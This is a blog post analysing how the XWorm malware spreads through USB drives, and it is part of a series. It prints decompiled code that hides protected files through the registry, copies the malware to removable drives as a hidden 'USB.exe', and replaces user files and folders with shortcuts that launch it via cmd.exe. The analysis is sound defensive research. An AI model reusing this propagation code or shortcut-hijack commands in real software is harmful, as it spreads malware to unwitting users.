009 - Decoding XWorm: Lateral Movement
Este artículo también está disponible en español
- Introduction
- Initial Exploration and Anti-Analysis Techniques
- Defense Evasion and Persistence
- Lateral Movement
- Coming soon: Keylogger and Cryptocurrency Theft
- Coming soon: Telegram Communication and New Variant Retrieval
- Coming soon: Command and Control
If you want to be notified when new posts in this series are published, don’t forget to subscribe to the blog!
1. Introduction
In the previous article, we explored how XWorm ensures its continuous presence on the infected machine through persistence techniques. In this article, we will examine how it spreads to other devices.
2. Lateral Movement
Lateral movement is a tactic used by attackers to navigate within a network and infect new devices. An attacker can employ multiple lateral movement techniques depending on the type of attack, such as exploiting a vulnerability (EternalBlue in the case of WannaCry), abusing authentication mechanisms (Pass The Hash), leveraging native functionalities (network shares), etc.
Once persistence techniques are established, the malware invokes the function q09aZ2HxLB2r7DZRcQehSbnhQjcv68H13cng3irqozRXULuHcNHm5TSVp2VEGsuyIEpZkX, which starts a new thread using the ThreadStart delegate:
public static void q09aZ2HxLB2r7DZRcQehSbnhQjcv68H13cng3irqozRXULuHcNHm5TSVp2VEGsuyIEpZkX()
{
class.thread = new Thread(new ThreadStart(class.OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik), 1);
class.thread.Start();
}
When calling the Thread.Start
method, the function OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik is invoked, which performs the lateral movement.
Upon an initial review of the function, we notice that it is significantly more difficult to analyze compared to the rest of the code we have examined so far:
private static void OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik()
{
int num2;
int num4;
object obj7;
try
{
IL_0000:
int num = 1;
object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("wscript.shell", ""));
IL_0018:
checked
{
for (;;)
{
IL_074D:
num = 3;
if (!true)
{
break;
}
IL_001D:
ProjectData.ClearProjectError();
num2 = 1;
IL_0025:
num = 5;
RegistryKey registryKey = 2HmONKQojJhuyq7J5js7wzrwlEjPZ2gvOmWLZ.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
IL_0043:
num = 6;
...
The code appears to be either improperly decompiled or obfuscated: we observe infinite loops, conditions like “if (!true)”, references to other parts of the code (IL_074D), and multiple assignments of numbers to variables (num = 5).
Since we do not have the malware’s source code, we cannot determine how this function originally looked. However, I can think of three possible explanations:
- The attacker obfuscated this function to make analysis more difficult.
- There was an issue during the function’s decompilation.
- The attacker reused code from another malware.
The first two options seem unlikely. If the attacker intended to hinder analysis, why not obfuscate the rest of the code as well? As we will see later, the malware’s primary goal (its RAT functions) is not obfuscated in the same way. The other possibility is a decompiler error, but why would it only affect this function?
Based on this, I lean toward the third option: the attacker reused code from their own toolkit or another malware, where obfuscation was likely applied.
2.1 Step-by-Step Analysis
Although analyzing this function seems challenging, we can focus on the lines of code that appear to execute specific actions.
The function begins by modifying a registry key:
Clean code:
RegistryKey registryKey = class.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue("ShowSuperHidden"), 1, false))
{
registryKey.SetValue("ShowSuperHidden", 0);
}
The purpose of ShowSuperHidden
is not immediately clear—are there hidden and super-hidden files?
Delving into Microsoft’s documentation, we find that this flag indicates whether protected system files should be displayed.
XWorm sets the flag to 0
, which disables the display of protected system files.
Once the registry key is modified, the malware iterates through the system’s drives and checks which ones are usable and removable (e.g., USBs):
Clean code:
DriveInfo[] drives = DriveInfo.GetDrives(); //get drives
int i = 0;
while (i < drives.Length) //iterate through drives
{
DriveInfo driveInfo = drives[i];
if (driveInfo.IsReady) //check if drive is usable
{
if (driveInfo.DriveType == DriveType.Removable) //check if drive is removable
{
...
}
}
}
If the device is removable and ready, the malware retrieves the drive letter (e.g., “D:"), copies a program to its root directory, and sets the program’s attributes to hidden and system:
Clean code:
string name = driveInfo.Name; //gets the drive letter
if (!File.Exists(name + programa)) //Checks if a program called "USB.exe" exists on the removable drive
{
File.WriteAllBytes(name + programa, File.ReadAllBytes(archivoActual)); //copies itself to the drive with the name "USB.exe"
File.SetAttributes(name + programa, FileAttributes.Hidden | FileAttributes.System); //configures "USB.exe" as a hidden and system file
}
What program does the malware copy?
It copies itself under the name “USB.exe”, which was decrypted in memory when XWorm began execution.
Once XWorm copies itself to removable devices and hides, it iterates through every file in each drive using the Directory.GetFiles
function. It then hides these files and creates shortcuts to them that execute the malware:
Clean code:
string[] files = Directory.GetFiles(name); //get files on the removable drive
int j = 0;
while (j < files.Length) //iterate through each file
{
string text = files[j];
if ((Operators.CompareString(Path.GetExtension(text).ToLower(), ".lnk", false) != 0) & (Operators.CompareString(text.ToLower(), name.ToLower() + programa.ToLower(), false) != 0)) //checks if the file is not a shorcut nor "USB.exe"
{
File.SetAttributes(text, FileAttributes.Hidden | FileAttributes.System); //hides the file and sets it as a system file
object obj = NewLateBinding.LateGet(objectValue, null, "CreateShortcut", new object[] { name + new FileInfo(text).Name + ".lnk" }, null, null, null);
NewLateBinding.LateSetComplex(obj, null, "windowstyle", new object[] { 7 }, null, null, false, true);
NewLateBinding.LateSetComplex(obj, null, "TargetPath", new object[] { "cmd.exe" }, null, null, false, true);
NewLateBinding.LateSetComplex(obj, null, "WorkingDirectory", new object[] { "" }, null, null, false, true);
NewLateBinding.LateSetComplex(obj, null, "Arguments", new object[] { string.Concat(new string[]
{
"/c start ",
programa.Replace(" ", "\" \""),
"&start ",
new FileInfo(text).Name.Replace(" ", "\" \""),
" & exit"
}
)} //creates a shorcut to the file that will also execute "USB.exe"
...
}
}
The code might seem difficult to understand, but if we analyze it step by step, it performs the following actions:
- Retrieves all existing files on the removable drive.
- Iterates through each file and checks if it is a shortcut (
.lnk
) or the malware copied in the previous step (USB.exe
). - If the file is neither of those, it hides it and marks it as a system file.
- Creates a shortcut with the same name as the original file and configures it to execute:
"cmd.exe /c start USB.exe & start HiddenFile & exit"
By doing this, each time a user double-clicks the shortcut, XWorm will execute while also opening the original file to avoid raising suspicion.
The next step the malware performs is changing the shortcut icon to match the original file’s icon. Since this is not critical for the analysis, I will not delve into this point.
Once the malware iterates through all the files, it does the same with the folders; it hides them, marks them as protected, and creates a shortcut for each:
string[] directories = Directory.GetDirectories(name);
int k = 0;
while (k < directories.Length)
{
string text2 = directories[k];
File.SetAttributes(text2, FileAttributes.Hidden | FileAttributes.System);
object obj4 = NewLateBinding.LateGet(objectValue, null, "CreateShortcut", new object[] { name + Path.GetFileNameWithoutExtension(text2) + " .lnk" }, null, null, null);
NewLateBinding.LateSetComplex(obj4, null, "windowstyle", new object[] { 7 }, null, null, false, true);
NewLateBinding.LateSetComplex(obj4, null, "TargetPath", new object[] { "cmd.exe" }, null, null, false, true);
NewLateBinding.LateSetComplex(obj4, null, "WorkingDirectory", new object[] { "" }, null, null, false, true);
NewLateBinding.LateSetComplex(obj4, null, "arguments", new object[] { string.Concat(new string[]
{
"/c start ",
Strings.Replace(programa, " ", "\" \"", 1, -1, CompareMethod.Binary),
"&start explorer ",
Strings.Replace(new DirectoryInfo(text2).Name, " ", "\" \"", 1, -1, CompareMethod.Binary),
"&exit"
}
)}
...
}
As we can see, the main difference is that the malware executes "cmd.exe /c start USB.exe & start explorer HiddenFolder & exit"
, which runs the malware and opens the folder the victim intends to access.
Note on the use of ShowSuperHidden: One might assume that enabling the “Show hidden files and folders” option would reveal all files, but it does not display hidden system files.
3. Lateral Movement Analysis
In a world where more and more programs spread through networks, I find XWorm’s propagation method particularly interesting. We’ve all used USB drives at some point, both on corporate and personal computers, making this technique capable of infecting multiple devices across different networks (for example, if I use the same USB at home and at my workplace).
Analyzing this technique also allowed me to learn something new about hidden files: not all of them are visible even when enabling the “Show hidden files” option in File Explorer. Through dynamic analysis, I confirmed that even with this option enabled, I couldn’t see the USB.exe
program or the hidden folders/files.
Opening the original files after clicking the shorcut and changing the shortcut icons might seem like minor details, but they have a significant impact. Aside from the small arrow indicating a shortcut, a victim would have no way of knowing they executed something unintended. Even if they recognize the icon, we’ve all used shortcuts before, and they might not think twice before double-clicking it.
Next Steps
We’ve seen how XWorm spreads, but what does it do once it’s inside the system? In the next article, we’ll explore how it steals cryptocurrencies and records every keystroke its victim types.
See you in the next article!
Do you have any comments or suggestions? Feel free to leave your feedback in the form below!